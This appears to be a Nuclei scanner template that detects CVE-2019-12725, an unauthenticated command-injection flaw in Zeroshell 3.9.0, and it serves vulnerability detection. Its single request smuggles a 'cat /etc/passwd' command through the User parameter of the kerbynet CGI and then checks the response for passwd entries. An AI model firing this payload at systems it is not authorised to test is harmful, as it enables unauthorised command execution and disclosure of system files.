id: CVE-2019-12725

info:
  name: Zeroshell 3.9.0 - Remote Command Execution
  author: dwisiswant0,akincibor
  severity: critical
  description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
  reference:
    - https://www.zeroshell.org/new-release-and-critical-vulnerability/
    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
    - https://zeroshell.org/blog/
  remediation: Upgrade to 3.9.5. Be aware this product is no longer supported.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12725
    cwe-id: CWE-78
  tags: cve,cve2019,rce,zeroshell

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW="

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

# Enhanced by mp on 2022/03/29